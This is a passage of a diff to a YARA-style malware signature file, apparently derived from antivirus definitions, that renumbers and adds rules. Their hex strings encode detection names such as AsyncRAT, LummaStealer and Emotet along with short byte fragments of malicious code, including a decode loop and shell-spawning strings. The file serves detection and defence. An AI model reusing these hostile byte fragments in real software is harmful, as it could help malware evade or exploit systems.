>=10 } -rule _InfrastructureShared_8334{ +rule _InfrastructureShared_8838{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 5a 4a 59 21 4d 54 42 00 0a 00 3e 03 0a 00 06 02 7b 90 01 01 00 00 04 6f 90 01 01 00 00 0a 00 06 6f 90 01 01 00 00 0a 0b 07 03 28 90 01 01 00 00 } //21539 + $a_28_1 = {01 01 00 } //5675 + condition: + ((#a_4c_0 & 1)*21539+(#a_28_1 & 1)*5675) >=11 + +} +rule _InfrastructureShared_8839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -88545,7 +93979,7 @@ rule _InfrastructureShared_8334{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*21249) >=12 } -rule _InfrastructureShared_8335{ +rule _InfrastructureShared_8840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -88557,7 +93991,7 @@ rule _InfrastructureShared_8335{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*4359+(#a_69_2 & 1)*29797) >=12 } -rule _InfrastructureShared_8336{ +rule _InfrastructureShared_8841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -88570,7 +94004,7 @@ rule _InfrastructureShared_8336{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*30035+(#a_65_2 & 1)*30067+(#a_83_3 & 1)*21899) >=12 } -rule _InfrastructureShared_8337{ +rule _InfrastructureShared_8842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -88584,7 +94018,7 @@ rule _InfrastructureShared_8337{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25710+(#a_7d_2 & 1)*31+(#a_08_3 & 1)*11099+(#a_73_4 & 1)*18789) >=14 } -rule _InfrastructureShared_8338{ +rule _InfrastructureShared_8843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 03 00 21 " @@ -88596,7 +94030,7 @@ rule _InfrastructureShared_8338{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*541+(#a_00_2 & 1)*6152) >=16 } -rule _InfrastructureShared_8339{ +rule _InfrastructureShared_8844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -88608,7 +94042,7 @@ rule _InfrastructureShared_8339{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*25933+(#a_00_2 & 1)*109) >=16 } -rule _InfrastructureShared_8340{ +rule _InfrastructureShared_8845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -88619,7 +94053,7 @@ rule _InfrastructureShared_8340{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*101) >=20 } -rule _InfrastructureShared_8341{ +rule _InfrastructureShared_8846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 21 " @@ -88631,7 +94065,7 @@ rule _InfrastructureShared_8341{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*7168+(#a_5d_2 & 1)*400) >=20 } -rule _InfrastructureShared_8342{ +rule _InfrastructureShared_8847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -88643,7 +94077,7 @@ rule _InfrastructureShared_8342{ ((#a_4e_0 & 1)*20259+(#a_6d_1 & 1)*29281+(#a_04_2 & 1)*-28481) >=30 } -rule _InfrastructureShared_8343{ +rule _InfrastructureShared_8848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88653,7 +94087,7 @@ rule _InfrastructureShared_8343{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8344{ +rule _InfrastructureShared_8849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88663,7 +94097,7 @@ rule _InfrastructureShared_8344{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8345{ +rule _InfrastructureShared_8850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88673,7 +94107,7 @@ rule _InfrastructureShared_8345{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8346{ +rule _InfrastructureShared_8851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88683,7 +94117,7 @@ rule _InfrastructureShared_8346{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8347{ +rule _InfrastructureShared_8852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88693,7 +94127,7 @@ rule _InfrastructureShared_8347{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8348{ +rule _InfrastructureShared_8853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88703,7 +94137,7 @@ rule _InfrastructureShared_8348{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8349{ +rule _InfrastructureShared_8854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88713,7 +94147,7 @@ rule _InfrastructureShared_8349{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8350{ +rule _InfrastructureShared_8855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88723,7 +94157,7 @@ rule _InfrastructureShared_8350{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8351{ +rule _InfrastructureShared_8856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88733,7 +94167,7 @@ rule _InfrastructureShared_8351{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8352{ +rule _InfrastructureShared_8857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88743,7 +94177,17 @@ rule _InfrastructureShared_8352{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_8353{ +rule _InfrastructureShared_8858{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 4b 47 21 4d 54 42 00 01 00 4e 03 89 d7 41 2b 3c 98 89 3c b0 41 89 14 98 0f b6 79 90 01 01 0f b7 59 90 01 01 41 33 1c ba 44 21 cb 89 d7 41 2b 3c 98 48 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_8859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88753,7 +94197,17 @@ rule _InfrastructureShared_8353{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_8354{ +rule _InfrastructureShared_8860{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 7a 79 2e 47 50 4a 21 4d 54 42 00 01 00 55 03 b8 01 00 00 00 48 6b c0 7c 48 8d 0d 90 01 03 00 c6 04 01 a2 48 8b 05 90 01 03 00 c6 00 91 48 8b 05 90 01 03 00 c6 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_8861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -88763,7 +94217,7 @@ rule _InfrastructureShared_8354{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_8355{ +rule _InfrastructureShared_8862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -88774,7 +94228,7 @@ rule _InfrastructureShared_8355{ ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*9216) >=1 } -rule _InfrastructureShared_8356{ +rule _InfrastructureShared_8863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -88785,7 +94239,7 @@ rule _InfrastructureShared_8356{ ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*-32732) >=1 } -rule _InfrastructureShared_8357{ +rule _InfrastructureShared_8864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -88796,7 +94250,7 @@ rule _InfrastructureShared_8357{ ((#a_54_0 & 1)*18467+(#a_d1_1 & 1)*-15829) >=1 } -rule _InfrastructureShared_8358{ +rule _InfrastructureShared_8865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -88807,7 +94261,7 @@ rule _InfrastructureShared_8358{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-18176) >=1 } -rule _InfrastructureShared_8359{ +rule _InfrastructureShared_8866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -88818,7 +94272,7 @@ rule _InfrastructureShared_8359{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25189) >=1 } -rule _InfrastructureShared_8360{ +rule _InfrastructureShared_8867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -88829,7 +94283,7 @@ rule _InfrastructureShared_8360{ ((#a_72_0 & 1)*22051+(#a_01_1 & 1)*-14806) >=1 } -rule _InfrastructureShared_8361{ +rule _InfrastructureShared_8868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -88842,7 +94296,7 @@ rule _InfrastructureShared_8361{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*-32510+(#a_48_2 & 1)*8448+(#a_54_3 & 1)*18516) >=1 } -rule _InfrastructureShared_8362{ +rule _InfrastructureShared_8869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -88855,18 +94309,38 @@ rule _InfrastructureShared_8362{ ((#a_54_0 & 1)*18467+(#a_08_2 & 1)*769+(#a_43_3 & 1)*21571+(#a_07_4 & 1)*27143) >=1 } -rule _InfrastructureShared_8363{ +rule _InfrastructureShared_8870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " strings : $a_54_0 = {3a 62 6f 74 5f 65 78 70 6c 6f 69 74 5f 74 68 63 73 71 6c 00 01 00 0f 01 54 48 43 54 48 43 54 48 43 54 48 43 54 48 43 02 00 48 01 54 48 43 21 01 70 ae 42 01 70 ae 42 8b fc 83 c7 2c 66 81 ec 04 02 33 c9 b2 35 66 81 c1 38 01 8a 1f 32 da 88 1f 47 e2 f7 } //18467 - $a_5c_1 = {30 59 6c cd 28 a9 eb b9 e4 79 45 e1 36 c5 12 15 15 05 3d 62 66 07 6a 06 07 1b 71 00 00 78 81 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 68 6f 73 74 52 41 54 2e 41 21 4d 54 42 00 02 00 53 03 c7 45 } //5854 + $a_5c_1 = {30 59 6c cd 28 a9 eb b9 e4 79 45 e1 36 c5 12 15 15 05 3d 62 66 07 6a 06 07 1b 71 00 00 78 81 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 42 47 46 21 4d 54 42 00 02 00 52 03 02 } //5854 condition: ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*5854) >=1 } -rule _InfrastructureShared_8364{ +rule _InfrastructureShared_8871{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 42 47 46 21 4d 54 42 00 02 00 52 03 02 73 0b 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 73 1a 00 00 0a 13 05 38 00 00 00 00 00 73 0c 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_8872{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 73 2e 42 41 46 21 4d 54 42 00 02 00 52 03 02 73 11 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 73 18 00 00 0a 13 05 38 00 00 00 00 00 73 08 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_8873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -88876,29 +94350,18 @@ rule _InfrastructureShared_8364{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_8365{ +rule _InfrastructureShared_8874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 42 6c 75 72 64 75 72 61 6e 74 2e 41 21 64 68 61 00 01 00 22 81 01 77 61 69 74 20 65 78 69 74 20 61 6e 64 20 74 79 70 65 20 66 6f 72 20 67 65 74 20 61 20 73 68 65 6c 6c 01 00 28 81 01 70 } //16675 - $a_72_1 = {68 65 6c 6c 20 73 74 61 72 74 2d 70 72 6f 63 65 73 73 20 63 6d 64 20 2d 76 65 72 62 20 72 75 6e 61 73 00 00 78 81 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 69 6f 48 61 7a 65 6c 6e 75 74 2e 41 21 64 68 61 00 01 00 29 43 68 00 00 01 00 6a 40 ff 90 01 01 68 } //30575 + $a_72_1 = {68 65 6c 6c 20 73 74 61 72 74 2d 70 72 6f 63 65 73 73 20 63 6d 64 20 2d 76 65 72 62 20 72 75 6e 61 73 00 00 78 81 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 2e 43 45 21 4d 54 42 00 01 00 30 02 8b 55 e8 03 55 fc 81 e2 ff 00 00 00 8b 45 10 33 c9 8a } //30575 condition: ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30575) >=2 } -rule _InfrastructureShared_8366{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 69 6f 48 61 7a 65 6c 6e 75 74 2e 41 21 64 68 61 00 01 00 29 43 68 00 00 01 00 6a 40 ff 90 01 01 68 00 00 01 00 8b d8 6a 40 89 5d 90 01 01 ff 90 01 01 6a 10 6a 40 89 45 90 01 01 ff } //16675 - $a_00_1 = {21 } //144 ! - condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144) >=2 - -} -rule _InfrastructureShared_8367{ +rule _InfrastructureShared_8875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -88908,7 +94371,7 @@ rule _InfrastructureShared_8367{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8368{ +rule _InfrastructureShared_8876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -88918,7 +94381,7 @@ rule _InfrastructureShared_8368{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8369{ +rule _InfrastructureShared_8877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -88929,7 +94392,7 @@ rule _InfrastructureShared_8369{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*15180) >=2 } -rule _InfrastructureShared_8370{ +rule _InfrastructureShared_8878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -88940,7 +94403,7 @@ rule _InfrastructureShared_8370{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111) >=2 } -rule _InfrastructureShared_8371{ +rule _InfrastructureShared_8879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -88950,7 +94413,17 @@ rule _InfrastructureShared_8371{ ((#a_6c_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8372{ +rule _InfrastructureShared_8880{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_63_0 = {70 74 69 6f 6e 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 50 45 49 6e 41 72 63 45 6d 61 69 6c 2e 53 54 41 00 01 00 2c 81 01 53 74 61 72 74 52 43 4d 43 6f 6d 70 6f 6e 65 6e 74 20 73 74 61 72 74 65 64 20 77 69 74 68 20 30 20 70 61 72 61 6d 65 74 65 72 73 3a 01 00 15 81 01 43 3a 5c 4c 6f 67 73 5c 52 43 4d 5c 72 63 6d 53 74 61 72 74 5f 00 00 78 81 00 } //17699 + condition: + ((#a_63_0 & 1)*17699) >=2 + +} +rule _InfrastructureShared_8881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -88961,7 +94434,7 @@ rule _InfrastructureShared_8372{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*8090) >=2 } -rule _InfrastructureShared_8373{ +rule _InfrastructureShared_8882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -88972,7 +94445,7 @@ rule _InfrastructureShared_8373{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*4368) >=2 } -rule _InfrastructureShared_8374{ +rule _InfrastructureShared_8883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -88983,7 +94456,7 @@ rule _InfrastructureShared_8374{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*19713) >=2 } -rule _InfrastructureShared_8375{ +rule _InfrastructureShared_8884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -88994,7 +94467,7 @@ rule _InfrastructureShared_8375{ ((#a_4c_0 & 1)*21539+(#a_5d_1 & 1)*24155) >=2 } -rule _InfrastructureShared_8376{ +rule _InfrastructureShared_8885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89005,7 +94478,7 @@ rule _InfrastructureShared_8376{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*769) >=2 } -rule _InfrastructureShared_8377{ +rule _InfrastructureShared_8886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89015,7 +94488,7 @@ rule _InfrastructureShared_8377{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_8378{ +rule _InfrastructureShared_8887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -89025,7 +94498,7 @@ rule _InfrastructureShared_8378{ ((#a_6f_0 & 1)*21539) >=2 } -rule _InfrastructureShared_8379{ +rule _InfrastructureShared_8888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -89035,7 +94508,7 @@ rule _InfrastructureShared_8379{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8380{ +rule _InfrastructureShared_8889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -89047,7 +94520,7 @@ rule _InfrastructureShared_8380{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*67+(#a_c9_2 & 1)*26114) >=2 } -rule _InfrastructureShared_8381{ +rule _InfrastructureShared_8890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -89059,7 +94532,7 @@ rule _InfrastructureShared_8381{ ((#a_54_0 & 1)*18467+(#a_b6_1 & 1)*-16198+(#a_00_2 & 1)*-18173) >=2 } -rule _InfrastructureShared_8382{ +rule _InfrastructureShared_8891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -89072,7 +94545,7 @@ rule _InfrastructureShared_8382{ ((#a_4c_0 & 1)*21539+(#a_8d_1 & 1)*-254+(#a_65_2 & 1)*25902+(#a_03_3 & 1)*-16372) >=2 } -rule _InfrastructureShared_8383{ +rule _InfrastructureShared_8892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -89082,7 +94555,7 @@ rule _InfrastructureShared_8383{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_8384{ +rule _InfrastructureShared_8893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -89094,7 +94567,7 @@ rule _InfrastructureShared_8384{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28271+(#a_74_2 & 1)*385) >=3 } -rule _InfrastructureShared_8385{ +rule _InfrastructureShared_8894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -89105,7 +94578,7 @@ rule _InfrastructureShared_8385{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28620) >=3 } -rule _InfrastructureShared_8386{ +rule _InfrastructureShared_8895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -89117,7 +94590,7 @@ rule _InfrastructureShared_8386{ ((#a_6c_0 & 1)*16675+(#a_61_1 & 1)*30061+(#a_6f_2 & 1)*25970) >=3 } -rule _InfrastructureShared_8387{ +rule _InfrastructureShared_8896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -89129,7 +94602,7 @@ rule _InfrastructureShared_8387{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25458+(#a_73_2 & 1)*26990) >=3 } -rule _InfrastructureShared_8388{ +rule _InfrastructureShared_8897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -89141,7 +94614,7 @@ rule _InfrastructureShared_8388{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*28269+(#a_2d_2 & 1)*13108) >=3 } -rule _InfrastructureShared_8389{ +rule _InfrastructureShared_8898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -89153,7 +94626,7 @@ rule _InfrastructureShared_8389{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27491+(#a_6c_2 & 1)*8297) >=3 } -rule _InfrastructureShared_8390{ +rule _InfrastructureShared_8899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -89165,7 +94638,7 @@ rule _InfrastructureShared_8390{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29285+(#a_70_2 & 1)*29540) >=3 } -rule _InfrastructureShared_8391{ +rule _InfrastructureShared_8900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -89177,7 +94650,7 @@ rule _InfrastructureShared_8391{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29283+(#a_74_2 & 1)*28523) >=3 } -rule _InfrastructureShared_8392{ +rule _InfrastructureShared_8901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -89189,7 +94662,7 @@ rule _InfrastructureShared_8392{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25721+(#a_72_2 & 1)*24934) >=3 } -rule _InfrastructureShared_8393{ +rule _InfrastructureShared_8902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -89200,7 +94673,7 @@ rule _InfrastructureShared_8393{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27759) >=3 } -rule _InfrastructureShared_8394{ +rule _InfrastructureShared_8903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -89212,7 +94685,7 @@ rule _InfrastructureShared_8394{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_8395{ +rule _InfrastructureShared_8904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -89226,7 +94699,7 @@ rule _InfrastructureShared_8395{ ((#a_4c_0 & 1)*21539+(#a_62_1 & 1)*29793+(#a_4c_2 & 1)*11883+(#a_6f_3 & 1)*28265+(#a_03_4 & 1)*790) >=3 } -rule _InfrastructureShared_8396{ +rule _InfrastructureShared_8905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -89237,7 +94710,7 @@ rule _InfrastructureShared_8396{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25962) >=4 } -rule _InfrastructureShared_8397{ +rule _InfrastructureShared_8906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -89248,7 +94721,7 @@ rule _InfrastructureShared_8397{ ((#a_46_0 & 1)*21283+(#a_01_2 & 1)*1479) >=4 } -rule _InfrastructureShared_8398{ +rule _InfrastructureShared_8907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -89259,7 +94732,7 @@ rule _InfrastructureShared_8398{ ((#a_46_0 & 1)*16675+(#a_00_3 & 1)*109) >=4 } -rule _InfrastructureShared_8399{ +rule _InfrastructureShared_8908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -89271,7 +94744,7 @@ rule _InfrastructureShared_8399{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*14958+(#a_78_2 & 1)*14848) >=4 } -rule _InfrastructureShared_8400{ +rule _InfrastructureShared_8909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -89284,7 +94757,7 @@ rule _InfrastructureShared_8400{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*22383+(#a_69_2 & 1)*29285+(#a_6e_3 & 1)*8301) >=4 } -rule _InfrastructureShared_8401{ +rule _InfrastructureShared_8910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -89295,32 +94768,46 @@ rule _InfrastructureShared_8401{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29556) >=4 } -rule _InfrastructureShared_8402{ +rule _InfrastructureShared_8911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 4d 31 32 33 21 4d 54 42 00 01 00 0d 81 01 4e 6f 72 64 73 74 72 6f 6d 20 49 6e 63 01 00 12 81 01 44 49 4d 4f 4e 20 49 6e 63 6f 72 70 6f 72 61 74 65 64 01 00 11 81 01 6f 70 73 70 6c 69 74 6e 69 } //18467 $a_6e_1 = {65 78 65 01 00 13 81 01 46 6f 73 74 65 72 20 57 68 65 65 6c 65 72 20 4c 74 64 2e 00 00 78 81 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 41 73 6b 54 6f 6f 6c 62 61 72 00 01 00 32 80 01 43 3a 5c 4a 65 6e 6b 69 6e 73 5c 77 6f 72 6b 73 70 61 63 65 5c 4f 43 33 2e 58 5c 4f 43 5c 52 65 6c 65 } //26478 - $a_5c_2 = {43 50 61 63 6b 65 72 2e 70 64 62 01 